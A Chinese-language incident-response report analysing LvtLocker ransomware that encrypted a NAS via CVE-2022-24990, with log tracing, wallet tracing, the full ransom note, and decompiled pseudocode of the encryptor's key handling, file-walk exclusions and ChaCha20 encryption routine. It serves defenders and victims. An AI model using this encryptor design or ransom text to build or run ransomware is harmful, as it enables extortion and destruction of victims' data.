1.背景
1.1来源
接到客户通知发现NAS遭到勒索病毒攻击,其中的文件无法打开并且被添加了lvt后缀。经排查该次勒索攻击是一款名为LvtLocker的勒索软件所为,而该勒索软件的攻击目标主要是国内某知名的NAS设备系统。
1.2入侵路线图
2.溯源分析
2.1查看日志
远程访问客户中招服务器,通过排查NAS web日志,默认SSH端口为9222,登录用户名为root,密码与web端admin用户相同。
查看nginx日志/var/log/nginx/access.log
可以发现在2024年3月1日黑客利用CVE-2022-24990漏洞远程下载木马、添加执行权限并执行的行为。
2.2排查异常文件
查看NAS web路径: /usr/www/,发现该系统在2023年就遭受过非勒索团伙的攻击,发现了遗留的webshell
webshell地址
/usr/www/my.php
/usr/www/include/dwz.php
最终通过在web目录中查找ELF文件发现加密器路径
/usr/www/module/tnasupdate
2.3漏洞验证
漏洞名称:任意命令执行漏洞(CVE-2022-24990)
POC:https://github.com/lishang520/CVE-2022-24990/tree/main
验证结果:存在漏洞
2.4钱包溯源
通过区块链浏览器查看勒索信中的黑客钱包地址
3JD9xwA9HQuZSSEKZemmuTTpEmtM1L8Uwt
查看该地址的交易记录,可得出结论:黑客每次进行勒索的金额为0.01BTC(约为4927元),一共完成7次与受害者的交易,其中最早的交易可追溯到2024年2月23日
最终在2024年2月29日黑客将所有BTC转入新地址
1LLh7KvmjmJuEELxSN2PKQKEywt6FfrfYi
后续有受害者尝试通过邮箱联系黑客,但均未得到答复,期间新地址钱包的BTC被转出,怀疑黑客已跑路
3.恶意文件基础信息
3.1加密器基本信息
文件名 |
lvt勒索病毒加密器 |
编译器 |
GO |
大小 |
2330624(2.22 MiB) |
操作系统 |
Unix |
架构 |
386 |
模式 |
32 位 |
类型 |
EXEC |
字节序 |
LE |
MD5 |
349dd0a75d5cebe1d3ffd620bca4ff7f |
SHA1 |
2a56190a0ee07f989c1e752a954674bc77c1b85e |
SHA256 |
cd729507d2e17aea23a56a56e0c593214dbda4197e8a353abe4ed0c5fbc4799c |
3.2解密器基本信息
客户向黑客支付赎金后提供的解密器
文件名 |
lvt解密器-d_nas_win.exe |
编译器 |
GO |
大小 |
2336768(2.23 MiB) |
操作系统 |
Windows |
架构 |
AMD64 |
模式 |
64 位 |
类型 |
控制台 |
字节序 |
LE |
MD5 |
0d3d9522bdb4fe4bfdc071f1918b095e |
SHA1 |
d497fab04c4254b685c92f4d35f7eed92e5dda9c |
SHA256 |
2fc9dfaa373d867eb9932a9d428599af7453da3f902ee85b5cf961e72004ae6b |
3.3勒索信
--------------- Hello ---------------
*** By LVT LOCKER ***
Your computers and servers are encrypted, and backups are deleted.
We use strong encryption algorithms, so no one has yet been able to decrypt their files without our participation.
The only way to decrypt your files is to purchase a universal decoder from us, which will restore all the encrypted data and your network.
Follow our instructions below, and you will recover all your data:
1) Pay 0.01 bitcoin to 3JD9xwA9HQuZSSEKZemmuTTpEmtM1L8Uwt
2) Send us message with transaction id and your personal key (which is in the README_lvt_PersonalKey.txt file) to ghzsr@onionmail.org
3) Launch decryptor.exe, which our supportor will send you through email
What guarantees?
------------------
We value our reputation. If we will not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is tested by time and will decrypt all your data.
------------------
!!! DO NOT TRY TO RECOVER ANY FILES YOURSELF. WE WILL NOT BE ABLE TO RESTORE THEM!!!
3.4其他注意事项
分析的样本中加密器与解密器不配套,但patch部分数据后即可搭配使用,后文将详细解释
4.加密后文件分析
加密的测试文件为1.txt
,具体内容如下
经过lvt勒索病毒加密器
加密之后如下
文件的大小增加了38Byte,经过多次实验结果仍然相同
5.逆向分析
5.1 加密器逆向分析
加密器使用方法为./lvt勒索病毒加密器 [path to be encrypted]
5.1.1 main_generateKeysAndSendPrivateKey函数
main_generateKeysAndSendPrivateKey
在main_main
函数开始时被调用,用于生成ecc私钥并使用rsa公钥进行加密
程序中内置的RSA公钥如下
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7KmV+4LWc4oI5ngkOSAg
dUmX7/4cOmgEUnu0463BN1PcQ6OowOrneReJKt3/bEqc1nmPY9Z3nUH8dmF7kFpb
lHiSQLh0lFB55SYxrFsugtVEOO4Zo9zWM/2lpjqhhqhTAJx8TV76aLdxbQzztnms
CFYqPesy+R5ing2PmUE5jcMh9/4MYbGQ/l5WVqgpXs8kUphPCZSRQSEbIGZ1AAia
56ovyiKbOjXTg8do/LEdajGRYLYG+BMaXeEjq4Xss3HmyIrRmTeaqvB7vOCniry4
pZ4PPEM1wk0w79LF5bssGm+Dq1MpyUOVlBcz9dS4IthwAWTKOW8vUy27l18/K7qC
pwIDAQAB
-----END PUBLIC KEY-----
程序首先利用crypto/rand
生成Elliptic Curve Cryptography
(下文简称为ecc
)的私钥,由于crypto/rand
调用了系统底层函数进行初始化,不可预测
crypto/rand
使用操作系统提供的底层熵源(entropy source)来生成随机数。在Linux和Unix系统上,它通常使用/dev/urandom
或类似的机制,而在Windows上,它使用CryptGenRandom
API。这些底层机制都旨在提供足够的熵,使得生成的随机数在理论上难以预测
生成的ecc
私钥利用内置的rsa公钥进行加密,在rsa
加密时使用了PKCS#1 v1.5
填充协议,导致对于同一数据加密后的结果不同
最后main_generateKeysAndSendPrivateKey
函数返回加密后的ecc
私钥,下述代码仅保留了关键逻辑
retval_8179D20 __golang main_generateKeysAndSendPrivateKey()
{
ecc_private.ptr = (uint8 *)runtime_newobject((int)&RTYPE__32_uint8);
*(_OWORD *)((char *)&v18 - 4) = io_ReadAtLeast(no, rand_reader, (int)ecc_private.ptr, 32, 32, 32);
ecc_private1.ptr = ecc_private.ptr;
LODWORD(v16) = golang_org_x_crypto_curve25519_scalarBaseMult((int)v20, ecc_private1);
v14 = runtime_stringtoslicebyte(
(int)v21,
(int)"-----BEGIN PUBLIC KEY-----\n"
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7KmV+4LWc4oI5ngkOSAg\n"
"dUmX7/4cOmgEUnu0463BN1PcQ6OowOrneReJKt3/bEqc1nmPY9Z3nUH8dmF7kFpb\n"
"lHiSQLh0lFB55SYxrFsugtVEOO4Zo9zWM/2lpjqhhqhTAJx8TV76aLdxbQzztnms\n"
"CFYqPesy+R5ing2PmUE5jcMh9/4MYbGQ/l5WVqgpXs8kUphPCZSRQSEbIGZ1AAia\n"
"56ovyiKbOjXTg8do/LEdajGRYLYG+BMaXeEjq4Xss3HmyIrRmTeaqvB7vOCniry4\n"
"pZ4PPEM1wk0w79LF5bssGm+Dq1MpyUOVlBcz9dS4IthwAWTKOW8vUy27l18/K7qC\n"
"pwIDAQAB\n"
"-----END PUBLIC KEY-----\n",
451);
v15 = encoding_pem_Decode(v14, v16);
LODWORD(v15) = crypto_x509_ParsePKIXPublicKey(*(_DWORD *)(v15 + 12), *(_DWORD *)(v15 + 16), *(_DWORD *)(v15 + 20));
v17 = crypto_rsa_EncryptPKCS1v15(no, rand_reader, SDWORD1(v15), (int)ecc_private.ptr, 32, 32);
}
5.1.2 main_main函数
首先判断用户输入的参数是否为2个,如果用户输入的参数不为两个,则输出提示信息
if(用户输入个数==2)
do_something;
else
{
v38 = 0;
v39 = 0;
if ( !dword_828063C )
runtime_panicIndex(0);
v13 = runtime_convTstring(*(_DWORD *)dword_8280638, *(_DWORD *)(dword_8280638 + 4));
v38 = (int)&RTYPE_string;
v39 = v13;
fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"%s [path to be encrypted]\n", 26, (int)&v38, 1, 1);
}
首先判断了用户是否拥有root权限,如果用户拥有root权限,则从系统根目录进行加密,如果用户没有root权限,则用用户输入的路径进行加密
if ( *(_DWORD *)(dword_8280638 + 12) == 10
&& runtime_memequal(*(_DWORD *)(dword_8280638 + 8), (int)"linux_root", 10) )
{
encode_path_len = 1;
encode_path = "/";
}
else
{
if ( (unsigned int)dword_828063C <= 1 )
runtime_panicIndex(dword_828063C);
encode_path = *(const char **)(dword_8280638 + 8);
encode_path_len = *(_DWORD *)(dword_8280638 + 12);
}
释放勒索信,勒索信硬编码在程序中,写入文件README_lvt.txt
v12.ptr = (uint8 *)runtime_stringtoslicebyte(
(int)v34,
(int)"--------------- Hello ---------------\n"
"\n"
" *** By LVT LOCKER ***\n"
"\n"
"Your computers and servers are encrypted, and backups are deleted.\n"
"We use strong encryption algorithms, so no one has yet been able to decrypt their files wi"
"thout our participation.\n"
"\n"
"The only way to decrypt your files is to purchase a universal decoder from us, which will "
"restore all the encrypted data and your network.\n"
"\n"
"Follow our instructions below, and you will recover all your data:\n"
"\n"
"1) Pay 0.01 bitcoin to 3JD9xwA9HQuZSSEKZemmuTTpEmtM1L8Uwt\n"
"2) Send us message with transaction id and your personal key (which is in the README_lvt_P"
"ersonalKey.txt file) to ghzsr@onionmail.org\n"
"3) Launch decryptor.exe, which our support will send you through email\n"
"\n"
"What guarantees?\n"
"------------------\n"
"We value our reputation. If we will not do our work and liabilities, nobody will pay us. T"
"his is not in our interests.\n"
"All our decryption software is tested by time and will decrypt all your data.\n"
"------------------\n"
"\n"
"!!! DO NOT TRY TO RECOVER ANY FILES YOURSELF. WE WILL NOT BE ABLE TO RESTORE THEM!!!",
1055);
*(_QWORD *)&v12.len = v19;
os_WriteFile((int)"./README_lvt.txt", 16, v12, 511);
对main_generateKeysAndSendPrivateKey
返回的数据进行hex encode
写入文件README_lvt_PersonalKey.txt
v4 = runtime_makeslice((int)RTYPE_uint8, 2 * v28, 2 * v28);
v5 = 2 * v28;
v6 = KeysAndSendPrivateKey;
v7 = v28;
v8 = 0;
v9 = 0;
while ( v8 < v7 )
{
v25 = *(_BYTE *)(v8 + v6);
if ( v9 >= v5 )
runtime_panicIndex(v5);
*(_BYTE *)(v4 + v9) = a0123456789abcd[v25 >> 4];
if ( v5 <= v9 + 1 )
runtime_panicIndex(v5);
*(_BYTE *)(v9 + v4 + 1) = a0123456789abcd[v25 & 0xF];
++v8;
v9 += 2;
v6 = KeysAndSendPrivateKey;
v7 = v28;
}
v26 = 2 * v31;
v16 = runtime_slicebytetostring((int)v33, v4, v5);
v14.ptr = (uint8 *)runtime_stringtoslicebyte((int)v32, v16, v20);
*(_QWORD *)&v14.len = v20;
os_WriteFile((int)"./README_lvt_PersonalKey.txt", 28, v14, 511);
.rodata:081A01D2 a0123456789abcd db '0123456789abcdef'
最后调用path_filepath_Walk
对文件夹进行加密
5.1.3 main_main_func1函数
即使加密的为根目录,勒索软件还是对一些系统关键目录与关键文件进行了规避
if ( strings_Index(v27, v31, (int)"/proc", 5) >= 0
|| strings_Index((int)a1, a2, (int)"/boot", 5) >= 0
|| strings_Index((int)a1, a2, (int)"/sys", 4) >= 0
|| strings_Index((int)a1, a2, (int)"/run", 4) >= 0
|| strings_Index((int)a1, a2, (int)"/dev", 4) >= 0
|| strings_Index((int)a1, a2, (int)"/etc", 4) >= 0
|| strings_Index((int)a1, a2, (int)"/home/httpd", 11) >= 0
|| strings_Index((int)a1, a2, (int)".system/thumbnail", 17) >= 0
|| strings_Index((int)a1, a2, (int)".system/opt", 11) >= 0
|| strings_Index((int)a1, a2, (int)".config", 7) >= 0
|| strings_Index((int)a1, a2, (int)".qpkg", 5) >= 0 )
{
return qword_8280590;
}
v36 = strings_Index((int)a1, a2, (int)"/mnt/ext/opt", 12);
if ( v36 >= 0 )
return qword_8280590;
也规避了不加密README_lvt_PersonalKey.txt
与README_lvt.txt
也不加密已.lvt
后缀结尾的文件,避免重复加密
通过判断的文件将加入加密队列等待加密
5.1.4 main_encrypt_file函数
首先会对文件添加.lvt
后缀
v20 = runtime_concatstring2(0, v68.len, v68.cap, (int)".lvt", 4);
v18 = os_rename(v68.len, v68.cap, v20, v23);
随机生成32Byte的数据进行sha256
作为chacha20
的密钥生成chacha20加密实例(下述代码仅保留了关键代码)
v23 = io_ReadAtLeast(no, rand_reader, (int)v46, 32, 32, 32);
crypto_sha256_Sum256(v5, 0);
((void (*)(void))loc_80AF350)();
v6.ptr = v42;
*(_QWORD *)&v6.len = 0x2000000020LL;
crypto_sha256_Sum256(v6, v17);
((void (*)(void))loc_80AF350)();
sync__ptr_Mutex_Unlock(&stru_8293188);
((void (*)(void))loc_80AEE66)();
DWORD1(v23) = golang_org_x_crypto_chacha20_newUnauthenticatedCipher((int)&v43, (int)v42, 32, 32, (int)&v41, 12, 22);
通过文件的原始大小,选择加密方式Large cipher mode
或者Small cipher mode
if ( SHIDWORD(filesize) > 0 || HIDWORD(filesize) == 0 && (unsigned int)filesize > 0x1400000 )
{
v49 = 0;
v50 = 0;
v11 = runtime_convTstring(v68.len, v68.cap);
v49 = &RTYPE_string;
v50 = v11;
fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"Large cipher mode for: %s\n", 26, (int)&v49, 1, 1);
v31 = runtime_int64div(filesize, (int)v30, 10485760, 0);
v32 = v22;
v46 = (_BYTE *)runtime_makeslice((int)RTYPE_uint8, 0x100000, 0x100000);
v0 = 0;
for ( i = 0; v0 == v32 && i < v31 || v0 < v32; i = v34 )
{
v28 = v0;
((void (*)(void))loc_80AEE8A)();
v27 = 10485760 * v4;
v35 = (10485760 * __PAIR64__(v28, v4)) >> 32;
v34 = v4 + 1;
v33 = __CFADD__(v4, 1) + v28;
v14 = runtime_convT64(v4 + 1, v33);
v65[0] = &RTYPE_int64;
v65[1] = v14;
v15 = runtime_convT64(v31, v32);
v65[2] = &RTYPE_int64;
v65[3] = v15;
v16 = runtime_convTstring(v68.len, v68.cap);
v65[4] = &RTYPE_string;
v65[5] = v16;
fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"Processing chunk %d\\%d (%s)\n", 28, (int)v65, 3, 3);
os__ptr_File_ReadAt((int)v45, (int)v46, 0x100000, 0x100000, v27, v35);
golang_org_x_crypto_chacha20__ptr_Cipher_XORKeyStream(v44, v46, 0x100000, 0x100000, v46, 0x100000, 0x100000);
os__ptr_File_WriteAt((int)v45, (int)v46, 0x100000, 0x100000, v27, v35);
v0 = v33;
}
}
else
{
v47 = 0;
v48 = 0;
v12 = runtime_convTstring(v68.len, v68.cap);
v47 = &RTYPE_string;
v48 = v12;
fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"Small cipher mode for: %s\n", 26, (int)&v47, 1, 1);
if ( SHIDWORD(filesize) > 0 || HIDWORD(filesize) == 0 && (unsigned int)filesize > 0x400000 )
{
v2 = 0x400000;
v3 = 0;
}
else
{
v2 = filesize;
v3 = (int)v30;
}
v25 = v2;
v26 = v3;
v46 = (_BYTE *)runtime_makeslice64((int)RTYPE_uint8, v2, v3, v2, v3);
v24 = os__ptr_File_ReadAt((int)v45, (int)v46, v25, v25, 0, 0);
if ( v25 != v24 || v26 != v24 >> 31 )
{
v61 = 0;
v62 = 0;
v63 = 0;
v64 = 0;
v10 = runtime_convT32(v24);
v61 = &RTYPE_int;
v62 = v10;
v13 = runtime_convT64(v25, v26);
v63 = &RTYPE_int64;
v64 = v13;
fmt_Fprintf((int)&off_81D2D64, dword_8280408, (int)"ERROR: %d != %d\n", 16, (int)&v61, 2, 2);
(*v66)();
(*v67)();
return;
}
golang_org_x_crypto_chacha20__ptr_Cipher_XORKeyStream(v44, v46, v25, v25, v46, v25, v25);
os__ptr_File_WriteAt((int)v45, (int)v46, v25, v25, 0, 0);
}
将随机生成32Byte的数据通过ecc
公钥加密之后存入文件尾部(下述代码仅保留了关键代码)
v7.ptr = v40;
golang_org_x_crypto_curve25519_scalarBaseMult((int)v39, v7);
v8.ptr = v40;
v8.len = (size_t)&v69;
golang_org_x_crypto_curve25519_scalarMult((int)v38, v8);
......
os__ptr_File_WriteAt((int)v45, (int)v39, 32, 32, filesize, (int)v30);
向文件尾部写入6Byte的特征码,特征码硬编码在程序中
v36 = 0xDECDBCAB;
v37 = 0xF0EF;
......
os__ptr_File_WriteAt((int)v45, (int)&v36, 6, 6, filesize + 32, (filesize + 32) >> 32);// 写入特征
5.2 解密器逆向分析
通过客户反馈得知,客户已交付赎金并且黑客交付了解密器,但解密器无法正常使用恢复被加密文件,solar团队工程师对该解密器进行逆向分析排查无法正常恢复的原因:
解密器的使用方法为解密器 [path to be decrypted] [personal key]
5.2.1 main_main函数
if ( qword_2F0928 == 3 )
{
v10 = *(_QWORD *)(os_Args + 24);
v11 = path_filepath_Walk(*(_QWORD *)(os_Args + 16), v10, (unsigned int)&off_2512E0, v1, v2, v3, v4);
if ( v11 )
{
v20 = v6;
*(_QWORD *)&v20 = *(_QWORD *)(v11 + 8);
*((_QWORD *)&v20 + 1) = v10;
fmt_Fprintln(
(unsigned int)go_itab__os_File_io_Writer,
os_Stdout,
(unsigned int)&v20,
1,
1,
v12,
v13,
v14,
v15,
v16,
v17,
v18);
}
}
else
{
v19 = v6;
if ( !qword_2F0928 )
runtime_panicIndex(0LL, v0);
v7 = runtime_convTstring(*(_QWORD *)os_Args, *(_QWORD *)(os_Args + 8), os_Args, v1, v2, v3, v4);
*(_QWORD *)&v19 = &RTYPE_string;
*((_QWORD *)&v19 + 1) = v7;
fmt_Fprintf(
(unsigned int)go_itab__os_File_io_Writer,
os_Stdout,
(unsigned int)"%s [path to be decrypted] [personal key]\n",
41,
(unsigned int)&v19,
1,
1,
v8,
v9,
v16,
v17);
}
仅检查了参数的个数便调用path_filepath_Walk
进行接下来的步骤
5.2.2 main_decrypt_file
此函数的参数主要包括解密文件的完整路径,与解密使用的key
__int64 __golang main_decrypt_file(
__int64 vfilename,
unsigned __int64 filename_len,
__int64 key,
__int64 kenlen,
__int64 a5,
__int64 a6,
__int64 a7,
__int64 a8,
__int64 a9)
首先将key
进行hex decode
解码
key_1 = key;
key_2 = (__int128 *)runtime_stringtoslicebyte((unsigned int)&v174, key, kenlen, kenlen, a5, a6, a7, a8, a9);
v159 = v12;
v13 = key_1;
v14 = encoding_hex_Decode((__int64)key_2, key_1, v12, (__int64)key_2, key_1);
if ( v159 < v14 )
runtime_panicSliceAcap(v14, key_1, v14);
ecc_key[0] = v10;
ecc_key[1] = v10;
if ( v159 < 0x20 )
runtime_panicSliceAcap(v14, key_1, 32LL);
key_3 = key_2;
key_4 = ecc_key;
if ( key_2 != ecc_key )
key_4 = (__int128 *)runtime_memmove(ecc_key, key_2, 32LL);
然后修改文件名,即删除了文件的.lvt
后缀
if ( filename_len < filename_len - 4 )
runtime_panicSliceAlen(key_4, key_3, filename_len - 4);
new_filename_len = filename_len - 4;
v21 = os_rename(filename3, filename_len, filename3, (int)filename_len - 4, v13, v15, v16, v17, v18, v109, v125, v138);
接着打开文件,并获得了相关文件信息(下述代码删除了异常处理部分)
openfile = (os_File *)os_OpenFile(filename3, new_filename_len, 2, 0, v13, v22, v23, v24, v25, v110, v126, v139);
file_stat = os__ptr_File_Stat(openfile);
file_len = (*((__int64 (__golang **)(void *))file_stat.0.tab + 7))(file_stat.0.data);
接下来判断文件的长度是否大于38,如果小于等于38,则抛出异常,从这也可以看出加密后的文件有额外的38byte
接着读取文件的后6Byte,与程序中的硬编码数据比较,如果比较不通过则不进行解密,我们称这6Byte的编码为识别码
上文所说的加密器与解密器不配套即为此识别码不同
if ( file_len > 38 ) // 额外数据块大小为38
{
v164 = file_len;
file_stat.0.data = v158;
file_stat.1.data = (void *)6;
os__ptr_File_ReadAt( // 读取后6Byte
(_DWORD)openfile1,
(unsigned int)v158,
6,
6,
file_len - 6,
v40,
v41,
v42,
v43,
v111,
v127,
v140,
v151);
if ( v158[0] == 7 && v158[1] == 0x21 && v158[2] == 0x51 && v158[3] == 0x4E && v158[4] == 0x41 && v158[5] == 0x50 )
do_decrypt;
识别码判断通过之后,读取文件除识别码的后32Byte,并使用上文hex decode
解码后的key作为Elliptic Curve Cryptography
的私钥对32Byte的数据进行解密,解密后的数据再进行sha256
计算,最终得到的数据用于生成chacha20
加密器实例
if ( v158[0] == 7 && v158[1] == 0x21 && v158[2] == 0x51 && v158[3] == 0x4E && v158[4] == 0x41 && v158[5] == 0x50 )// 文件尾部特征
{
v166 = v164 - 38;
v48 = v164 - 38;
os__ptr_File_ReadAt( // 读取32Byte
(_DWORD)openfile1,
(unsigned int)data32Byte,
32,
32,
v164 - 38,
v44,
v45,
v46,
v47,
v112,
v128,
v141,
v152);
golang_org_x_crypto_curve25519_scalarMult(
(int)under_ecc_32Byte_data,
(int)ecc_key,
(int)data32Byte,
32,
v48,
v49,
v50,
v51,
v52,
v113,
v124,
v129,
v137,
v142);
crypto_sha256_Sum256((uint8 *)under_ecc_32Byte_data, 0x20uLL, 0x20uLL, 32LL, v48, v53, v54, v55, v56);
*(_OWORD *)v172 = v114;
v173 = v143;
crypto_sha256_Sum256((uint8 *)v172, 0x20uLL, 0x20uLL, 32LL, v48, v57, v58, v59, v60);
v171[0] = v114;
v171[1] = v143;
((void (__fastcall *)(__int64 *))loc_1CE5AF)(&v175);
file_stat.1.data = (void *)32;
v63 = golang_org_x_crypto_chacha20_newUnauthenticatedCipher(
(unsigned int)&v176,
(unsigned int)v172,
32,
32,
(unsigned int)v171 + 10,
12,
22,
v61,
v62,
v114,
*((__int64 *)&v114 + 1),
v143,
*((__int64 *)&v143 + 1));
最后通过文件大小判断采用的是Large cipher mode
或者Small cipher mode
进行解密
6.解密步骤
利用相关技术获得ecc私钥如下
CFA61669D96E10861AEFF1FBD2E362139602AF74F3DBA36C96CDB3330433C0A8
patch文件或者解密程序,使得文件可以通过特征码
验证
成功解密,因此得出结论,黑客提供的解密器可以做到解密文件,但黑客提供的KEY有误导致客户无法正常解密。
7.总结
从技术层面而言,该LVT勒索病毒目前只针对这款NAS的漏洞进行了渗透入侵,并且释放LVT勒索病毒,据不完全统计,目前国内受害者有几十家使用该NAS的用户,同时LVT勒索加密程序生成了一对ecc
公私钥,ecc
公私钥利用crypto/rand
生成,每次生成结果不同。其中私钥利用程序内置的RSA
公钥加密后保存在README_lvt_PersonalKey.txt
中,ecc
公钥参与chacha20
的加密工作,如需解密文件,必须需要ecc
私钥,ecc
私钥只能通过黑客的RSA
私钥解密README_lvt_PersonalKey.txt
获得。上文解密程序中ecc
私钥获得为在加密器加密文件时调试获得私钥,但实际情况中勒索病毒进程结束之后,内存空间也被清空时,ecc
私钥无法存在在任何位置,无法通过此方法或者类似方法捕获ecc
私钥,此类方法在实际情况中不适用。因此唯一能解开lvt加密的办法是联系黑客获取正确的ecc私钥,但是目前已知的几位受害者给黑客支付了比特币赎金之后,黑客提供的ecc私钥是错误的,解开的文件是乱码的错误文件,并且后续再也联系不上该黑客团队。
从该勒索病毒团队做法而言,该漏洞也是NAS的历史漏洞,技术难度和攻击手法也都算不上高超,但是对受害者的网络、资料的破坏和骗取虚拟币行为也是令人无法理解的,如同某位受害者所说“没有江湖道义”,但其实再退一步来说,他们都能做出勒索的行为,就不要指望他遵守道德准则了。